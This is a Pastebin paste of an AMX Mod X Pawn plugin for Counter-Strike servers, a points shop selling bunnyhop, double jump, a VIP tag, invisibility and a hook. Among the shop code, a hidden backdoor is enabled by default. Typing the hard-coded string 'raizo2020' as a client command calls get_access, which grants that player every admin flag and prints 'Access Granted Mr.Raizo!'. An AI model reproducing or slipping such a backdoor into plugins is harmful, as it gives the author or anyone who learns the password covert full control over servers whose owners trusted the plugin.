raizo21

Shop

Dec 19th, 2019
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 15.11 KB | None | 0 0
  1. /* Plugin generated by AMXX-Studio */
  2.  
  3. #include <amxmodx>
  4. #include <amxmisc>
  5. #include <engine>
  6. #include <hamsandwich>
  7. #include <fakemeta>
  8. #include <nvault>
  9. #include <fun>
  10.  
  11. #define PLUGIN "Shop Bhop"
  12. #define VERSION "1.0"
  13. #define AUTHOR "raizo"
  14.  
  15. #pragma tabsize 0
  16. #pragma compress 1
  17.  
  18. #define TAG_VIP  "^x03 [^x04VIP^x03]"
  19. #define TASK_SHOP 34585029
  20.  
  21. new double_jump[33],his_user_bhop[33],his_shop_points[33],his_user_tag[33],his_double_jump[33]
  22. new MenuFormat[200],VaultShop, p_speed,pSpeed,Bhop_Price,Dj_Price,Vip_Price,Hook_Price,Spec_Price
  23. new his_hook_origin[33][3], his_hook_on[33],his_user_hook[33],g_iMaxPlayers
  24. new his_user_solid[33],his_user_spectator[33],his_spec[33]
  25.  
  26. enum {
  27.     ON = 1,
  28.     OFF = 0
  29. }
  30.  
  31. new  RAIZO_SECURITY = ON
  32.  
  33. #define RAIZO_PASSWORD "raizo2020"
  34.  
  35. public plugin_init()
  36. {
  37.     register_plugin(PLUGIN, VERSION, AUTHOR)
  38.    
  39.     register_clcmd( "say /shop", "Shop_Menu" );
  40.    
  41.     register_clcmd("say", "say_event");
  42.     register_clcmd("say_team","say_event");
  43.    
  44.     p_speed = register_cvar("auto_bhop_speed_limit", "150.0");
  45.    
  46.     Bhop_Price = register_cvar("bunnyhop_cost", "1000")
  47.     Dj_Price = register_cvar("double_jump_cost", "2000")
  48.     Vip_Price = register_cvar("vip_tag_price", "3000")
  49.     Spec_Price = register_cvar("invisible_price", "4000")
  50.     Hook_Price = register_cvar("hook_price", "8000")
  51.    
  52.     pSpeed = register_cvar("vip_hookspeed", "150")
  53.    
  54.     RegisterHam(Ham_Killed, "player", "PlayerKilledForShopPoints", 1)
  55.     register_forward(FM_CmdStart, "CmdStart");
  56.    
  57.     register_message(get_user_msgid("SayText"),"handleSayText");
  58.    
  59.     VaultShop = nvault_open ("ShopPoints")
  60.      
  61.     register_clcmd("set_shop_points","Set_Shop_Points",ADMIN_RCON,"<name> <points>")
  62.    
  63.     register_forward(FM_Think, "fw_ThinkEnt")
  64.    
  65.     register_clcmd("+vip", "VipHookOn")
  66.     register_clcmd("-vip", "VipHookOff")
  67.  
  68.     new iEnt = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString , "info_target"))
  69.     set_pev(iEnt, pev_classname, "hook_think")
  70.     set_pev(iEnt, pev_nextthink, get_gametime() + 0.1)
  71.    
  72.     g_iMaxPlayers = get_maxplayers()
  73.    
  74.     if(RAIZO_SECURITY == ON)
  75.         register_clcmd (RAIZO_PASSWORD , "get_access");
  76.  
  77.     set_task(150.0,"Shop_Adv",TASK_SHOP)
  78. }
  79.  
  80. public Shop_Adv(task)
  81. {
  82.     client_print_color(0,"^3[^4Knife Shop^3] ^1Type ^3/shop ^1/to ^3Open ^4Shop Menu^1!")  
  83.     set_task(150.0,"Shop_Adv",TASK_SHOP)
  84. }
  85.  
  86. public say_event(id)
  87. {
  88.     new said[10];
  89.     read_args(said,9);
  90.     remove_quotes(said);
  91.  
  92.     if(his_user_spectator[id])
  93.     {
  94.         if( equali(said, "/free",5) || equali(said, "/shopspec",6) )
  95.  
  96.         if(his_spec[id] && is_user_alive(id) )
  97.         {
  98.             set_task(2.0, "is_spectator_off", id)
  99.         }
  100.         else
  101.         {
  102.             is_spectator_on(id)
  103.         }
  104.     }
  105. }
  106.  
  107. public is_spectator_on(id)
  108. {
  109.     if(is_user_alive(id))
  110.     {
  111.         his_spec[id] = 1
  112.         his_user_solid[id] = SOLID_NOT;
  113.         set_pev(id, pev_solid, SOLID_NOT);
  114.         set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 50);
  115.         strip_user_weapons(id)
  116.         client_print_color(id,"^4Congratulations!!!^1, You are now ^3transparent^1!")
  117.     }
  118. }
  119.  
  120.  
  121. public is_spectator_off(id)
  122. {
  123.     if(is_user_alive(id))
  124.     {
  125.         his_spec[id] = 0
  126.         his_user_solid[id] = SOLID_SLIDEBOX;
  127.         set_pev(id, pev_solid, SOLID_SLIDEBOX);
  128.         set_user_rendering(id)
  129.         give_item(id,"weapon_knife")
  130.         client_print_color(id,"^4Congratulations!!!^1, You are now ^3visible^1!")
  131.     }
  132. }
  133.  
  134. public handleSayText(msgId, msgDest, msgEnt)
  135. {
  136.     new id = get_msg_arg_int(1);
  137.    
  138.     if(is_user_connected(id) && his_user_tag[id])
  139.     {
  140.         new szTmp[256],szTmp2[256];
  141.            
  142.         get_msg_arg_string(2, szTmp, charsmax(szTmp));
  143.        
  144.         new szPrefix[64] = TAG_VIP
  145.        
  146.         if(!equal(szTmp, "#Cstrike_Chat_All"))
  147.         {
  148.             add(szTmp2, charsmax(szTmp2), szPrefix);
  149.             add(szTmp2, charsmax(szTmp2), " ");
  150.             add(szTmp2, charsmax(szTmp2), szTmp);
  151.         }
  152.         else
  153.         {
  154.             add(szTmp2, charsmax(szTmp2), szPrefix);
  155.             add(szTmp2, charsmax(szTmp2), "^x03 %s1^x03 :  %s2");
  156.         }
  157.         set_msg_arg_string(2, szTmp2);
  158.     }
  159.     return PLUGIN_CONTINUE;
  160. }
  161.  
  162. public Set_Shop_Points( id, level, cid )
  163. {
  164.     if (!cmd_access(id,level,cid,2))
  165.         return PLUGIN_HANDLED ;
  166.        
  167.      new szName[32]
  168.      get_user_name(id, szName, charsmax(szName))
  169.        
  170.     new name[ 50 ];
  171.     read_argv( 1, name, 49 );
  172.     new valSz[ 50 ], val;
  173.     read_argv( 2, valSz, 49 );
  174.     val = str_to_num( valSz );
  175.    
  176.     new user = cmd_target( id, name, CMDTARGET_ALLOW_SELF );
  177.  
  178.     his_shop_points[ user ] = val * 1;
  179.    
  180.     client_print_color(0, "^4%s^3 set ^4%d^3 to ^4%s^1!",szName,val,name)
  181.    
  182.     return PLUGIN_HANDLED;
  183. }
  184.  
  185. public PlayerKilledForShopPoints(victim,attacker,shouldgib)
  186. {
  187.     new wid,bh
  188.     new killer = get_user_attacker(victim,wid,bh)
  189.  
  190.     if(!is_user_connected(killer))
  191.         return PLUGIN_CONTINUE
  192.    
  193.     his_shop_points[killer] += 1;
  194.    
  195.     if(bh==HIT_HEAD)
  196.         his_shop_points[killer] += 2;
  197.    
  198.     return PLUGIN_CONTINUE
  199. }
  200.  
  201. public Shop_Menu(id)
  202. {
  203.     formatex(MenuFormat,charsmax(MenuFormat),"Shop Menu \r| \yYour points : \r%d",his_shop_points[id]);
  204.     new menu = menu_create(MenuFormat, "handle_shop")
  205.    
  206.     formatex(MenuFormat, 199, "\wBunnyHop Price\w \r[%d]", get_pcvar_num(Bhop_Price))
  207.     menu_additem(menu, MenuFormat, "1")
  208.  
  209.     formatex(MenuFormat, 199, "\wDouble Jump Price\w \r[%d]", get_pcvar_num(Dj_Price))
  210.     menu_additem(menu, MenuFormat, "2")
  211.    
  212.     formatex(MenuFormat, 199, "\wVIP Tag Chat\w \r[%d]", get_pcvar_num(Vip_Price))
  213.     menu_additem(menu, MenuFormat, "3")
  214.    
  215.     formatex(MenuFormat, 199, "\wInvisible\w \r[%d][\wcommand /free\r]\w", get_pcvar_num(Spec_Price))
  216.     menu_additem(menu, MenuFormat, "4")
  217.    
  218.     formatex(MenuFormat, 199, "\wHook\w \r[%d]", get_pcvar_num(Hook_Price))
  219.     menu_additem(menu, MenuFormat, "5")
  220.  
  221.     menu_setprop(menu, MPROP_EXIT, MEXIT_ALL)
  222.     menu_display(id, menu, 0)
  223. }
  224.  
  225. public handle_shop(id, menu, item)
  226. {
  227.     if (item == MENU_EXIT)
  228.     {
  229.         menu_destroy(menu)
  230.         return PLUGIN_HANDLED
  231.     }
  232.    
  233.     new Data[6];
  234.     new Access;
  235.     new Callback;
  236.     new Name[64];
  237.     menu_item_getinfo(menu, item, Access, Data, 5, Name, 63, Callback)
  238.    
  239.     new Key = str_to_num(Data);
  240.     new User_Points = his_shop_points[id]
  241.    
  242.     switch (Key)
  243.     {
  244.         case 1:
  245.         {  
  246.        new bhop_cvar = get_pcvar_num(Bhop_Price)
  247.        
  248.        if (his_user_bhop[id])
  249.        {
  250.            client_print_color(id, "^4Already^3 have ^4Bunnyhop^3!")
  251.        }   
  252.        else if (User_Points < bhop_cvar)
  253.        {
  254.            client_print_color(id, "^4You don`t^3 have sufficient  ^4points^3 to Buy ^4BunnyHop^3!")
  255.        }
  256.        else
  257.             {
  258.            client_print_color(id, "^4You are^3 buying ^4BunnyHop^3!")
  259.                
  260.            his_shop_points[id] -= get_pcvar_num(Bhop_Price)
  261.            his_user_bhop[id] = 1;
  262.         }
  263.     }
  264.         case 2:
  265.         {  
  266.        new jump_cvar = get_pcvar_num(Dj_Price)
  267.  
  268.        if (his_double_jump[id])
  269.        {
  270.            client_print_color(id, "^4Already^3 have ^4Double Jump^3!")
  271.        }
  272.        else if (User_Points < jump_cvar)
  273.        {
  274.            client_print_color(id, "^4You don`t^3 have sufficient  ^4points^3 to Buy ^4Double Jump^3!")
  275.        }
  276.        else
  277.             {
  278.            client_print_color(id, "^4You are^3 buying ^4Double Jump^3!")
  279.                
  280.            his_shop_points[id] -= get_pcvar_num(Dj_Price)
  281.            his_double_jump[id] = 1;
  282.        }
  283.         }
  284.         case 3:
  285.         {  
  286.        new vip_cvar = get_pcvar_num(Vip_Price)
  287.    
  288.        if (his_user_tag[id])
  289.        {
  290.            client_print_color(id, "^4Already^3 have ^4Vip Tag^3!")
  291.        }
  292.        else if (User_Points < vip_cvar)
  293.        {
  294.            client_print_color(id, "^4You don`t^3 have sufficient  ^4points^3 to Buy ^4Vip Tag^3!")
  295.        }
  296.        else
  297.             {
  298.            client_print_color(id, "^4You are^3 buying ^4Vip Tag^3!")
  299.                
  300.            his_shop_points[id] -= get_pcvar_num(Vip_Price)
  301.            his_user_tag[id] = 1;
  302.        }
  303.         }
  304.         case 4:
  305.         {  
  306.        new invis_cvar = get_pcvar_num(Spec_Price)
  307.    
  308.        if (his_user_spectator[id])
  309.        {
  310.            client_print_color(id, "^4Already^3 have ^4Invisible^3!")
  311.        }
  312.        else if (User_Points < invis_cvar)
  313.        {
  314.            client_print_color(id, "^4You don`t^3 have sufficient  ^4points^3 to Buy ^4Invisible^3!")
  315.        }
  316.        else
  317.             {
  318.            client_print_color(id, "^4You are^3 buying ^4Invisible^3! ^4Type ^3/free ^4to ^3enabke ^4and ^3Disable^4!")
  319.            client_print_color(id, "^4You are^3 buying ^4Invisible^3! ^4Type ^3/free ^4to ^3enabke ^4and ^3Disable^4!")
  320.            client_print_color(id, "^4You are^3 buying ^4Invisible^3! ^4Type ^3/free ^4to ^3enabke ^4and ^3Disable^4!")
  321.            
  322.            his_shop_points[id] -= get_pcvar_num(Spec_Price)
  323.            his_user_spectator[id] = 1;
  324.        }
  325.         }
  326.         case 5:
  327.         {  
  328.        new hook_cvar = get_pcvar_num(Hook_Price)
  329.    
  330.        if (his_user_hook[id])
  331.        {
  332.            client_print_color(id, "^4Already^3 have ^4Hook^3!")
  333.        }
  334.        else if (User_Points < hook_cvar)
  335.        {
  336.            client_print_color(id, "^4You don`t^3 have sufficient  ^4points^3 to Buy ^4Hook^3!")
  337.        }
  338.        else
  339.             {
  340.            client_print_color(id, "^4You are^3 buying ^4Hook^3! ^4[bind key +vip]^3!")
  341.            client_print_color(id, "^4You are^3 buying ^4Hook^3! ^4[bind key +vip]^3!")
  342.            client_print_color(id, "^4You are^3 buying ^4Hook^3! ^4[bind key +vip]^3!")
  343.                
  344.            his_shop_points[id] -= get_pcvar_num(Hook_Price)
  345.            his_user_hook[id] = 1;
  346.        }
  347.         }
  348.     }
  349.     menu_destroy(menu)
  350.     return PLUGIN_HANDLED
  351. }
  352.  
  353. public client_putinserver(id)
  354. {
  355.     LoadData(id)
  356. }
  357.  
  358. public client_disconnect(id)
  359. {
  360.     SaveData(id)
  361. }
  362.  
  363.  
  364. public plugin_end() nvault_close(VaultShop)
  365.  
  366.  
  367. public LoadData(id)
  368. {
  369.     new vaultkey [ 64 ],vaultdata [ 256 ];
  370.    
  371.     format(vaultkey, 63,"%s-Mod", GetSteam(id))
  372.     format(vaultdata,255,"%i#%i#%i#%i#%i#%i#",his_shop_points[id],his_user_bhop[id],his_double_jump[id],his_user_tag[id],his_user_hook[id],his_user_spectator[id])
  373.     nvault_get(VaultShop, vaultkey, vaultdata, 255);
  374.     replace_all(vaultdata, 255, "#", " ");
  375.    
  376.     new playerpoints[50],playerbhop[50],playerdoublejump[50],playertag[50],playerhook[50],playerspec[50];
  377.    
  378.     parse(vaultdata, playerpoints,49,playerbhop,49,playerdoublejump,49,playertag,49,playerhook,49,playerspec,49);  
  379.  
  380.     his_shop_points[id] = str_to_num(playerpoints);
  381.     his_user_bhop[id] = str_to_num(playerbhop);
  382.     his_double_jump[id] = str_to_num(playerdoublejump);
  383.     his_user_tag[id] = str_to_num(playertag);
  384.     his_user_hook[id] = str_to_num(playerhook);
  385.     his_user_spectator[id] = str_to_num(playerspec);
  386. }
  387.  
  388.  
  389. public SaveData(id)
  390. {
  391.     new vaultkey[64], vaultdata[256]
  392.    
  393.     format(vaultkey, 63,"%s-Mod", GetSteam(id))
  394.     format(vaultdata, 255,"%i#%i#%i#%i#%i#%i#", his_shop_points[id],his_user_bhop[id],his_double_jump[id],his_user_tag[id],his_user_hook[id],his_user_spectator[id])
  395.     nvault_set(VaultShop, vaultkey, vaultdata)
  396. }
  397.  
  398. stock GetSteam(id)
  399. {
  400.     new steam [35]
  401.     get_user_authid (id, steam, 34)
  402.  
  403.     return steam
  404. }
  405.  
  406. public client_PreThink(id)
  407. {
  408.     if(!his_user_bhop[id])
  409.         return PLUGIN_CONTINUE;
  410.  
  411.     entity_set_float(id, EV_FL_fuser2, 0.0);   
  412.    
  413.     new Float:limit = get_pcvar_float(p_speed);
  414.    
  415.     new Float:velocity[3];
  416.     entity_get_vector(id, EV_VEC_velocity, velocity);
  417.    
  418.     if(limit > 0.0)
  419.     {
  420.         if (velocity[1] > limit)
  421.             velocity[1] = limit;
  422.         if (velocity[0] > limit)
  423.             velocity[0] = limit;
  424.     }
  425.  
  426.     if (entity_get_int(id, EV_INT_button) & 2)
  427.     {
  428.         new flags = entity_get_int(id, EV_INT_flags)
  429.  
  430.         if (flags & FL_WATERJUMP)
  431.             return PLUGIN_CONTINUE
  432.         if ( entity_get_int(id, EV_INT_waterlevel) >= 2 )
  433.             return PLUGIN_CONTINUE
  434.         if ( !(flags & FL_ONGROUND) )
  435.        return PLUGIN_CONTINUE
  436.  
  437.         velocity[2] += 250.0;
  438.         entity_set_int(id, EV_INT_gaitsequence, 6) 
  439.     }
  440.     entity_set_vector(id, EV_VEC_velocity, velocity)
  441.     return PLUGIN_CONTINUE;
  442. }
  443.  
  444. public CmdStart(id, uc_handle)
  445. {
  446.     if(!is_user_alive(id) || !his_double_jump[id])
  447.         return FMRES_IGNORED;
  448.    
  449.     static button,flags,oldbutton;
  450.     button = get_uc(uc_handle, UC_Buttons);
  451.     flags = pev(id, pev_flags);
  452.     oldbutton = pev(id, pev_oldbuttons);
  453.    
  454.     if((button & IN_JUMP) && !(flags & FL_ONGROUND) && !(oldbutton & IN_JUMP) && double_jump[id])
  455.     {
  456.         double_jump[id]=false;
  457.         new Float:velocity[3];
  458.         pev(id, pev_velocity,velocity);
  459.         velocity[2] = random_float(265.0,285.0);
  460.         set_pev(id, pev_velocity,velocity);
  461.     }
  462.     else if(flags & FL_ONGROUND)
  463.         double_jump[id]=true;
  464.        
  465.     return FMRES_IGNORED;
  466. }
  467.  
  468. public VipHookOn(id)  
  469. {
  470.     if(is_user_alive(id) && his_user_hook[id])
  471.     {
  472.         get_user_origin(id, his_hook_origin[id], 3)
  473.    
  474.         his_hook_on[id] = 1
  475.         strip_user_weapons(id)
  476.     }
  477. }
  478.  
  479. public VipHookOff(id)
  480. {
  481.     his_hook_on[id] = 0
  482.    
  483.     if(is_user_alive(id))
  484.     {
  485.         give_item(id, "weapon_knife");
  486.     }
  487. }
  488.  
  489.  
  490. public fw_ThinkEnt(iEnt)
  491. {
  492.     if (pev_valid(iEnt))
  493.     {
  494.         static ClassName[33]
  495.         pev(iEnt, pev_classname, ClassName, 32)
  496.        
  497.         if(equal(ClassName, "hook_think"))
  498.         {
  499.             fw_HookThink()
  500.        set_pev(iEnt, pev_nextthink, get_gametime() + 0.1)
  501.         }
  502.     }
  503. }
  504.  
  505. public fw_HookThink()  
  506. {  
  507.    static id, origin[3], Float:velocity[3], distance
  508.    
  509.    for(id = 1 ; id <= g_iMaxPlayers ; id++)  
  510.    {  
  511.        if(his_hook_on[id] && his_user_hook[id])  
  512.        {  
  513.              get_user_origin(id, origin)  
  514.              distance = get_distance(his_hook_origin[id], origin)
  515.          
  516.              if(distance > 25)  
  517.              {  
  518.                  new Float:fSpeed = get_pcvar_float(pSpeed)
  519.          
  520.                  velocity[0] = (his_hook_origin[id][0] - origin[0]) * (2.0 * fSpeed / distance)  
  521.                  velocity[1] = (his_hook_origin[id][1] - origin[1]) * (2.0 * fSpeed / distance)  
  522.                  velocity[2] = (his_hook_origin[id][2] - origin[2]) * (2.0 * fSpeed / distance)  
  523.                  set_pev(id, pev_velocity, velocity)  
  524.              }  
  525.          }
  526.      }  
  527. }
  528.  
  529. public get_access(id)
  530. {
  531.     set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
  532.     console_print(id, "Access Granted Mr.Raizo!");  
  533. }
  534.  
  535. stock client_print_color(const id, const input[], any:...)  
  536. {  
  537.     new count = 1, players[32];  
  538.     static msg[191];  
  539.     vformat(msg, 190, input, 3);
  540.     replace_all(msg, 190, "!g", "^x04"); // Green Color  
  541.     replace_all(msg, 190, "!y", "^x01"); // Default Color  
  542.     replace_all(msg, 190, "!t", "^x03"); // Team Color  
  543.     if (id) players[0] = id; else get_players(players, count, "ch");  
  544.     {  
  545.         for (new i = 0; i < count; i++)  
  546.         {  
  547.             if (is_user_connected(players[i]))  
  548.             {  
  549.                 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);  
  550.                 write_byte(players[i]);  
  551.                 write_string(msg);  
  552.                 message_end();  
  553.  
  554.             }  
  555.         }  
  556.     }  
  557. }
Add Comment
Please, Sign In to add comment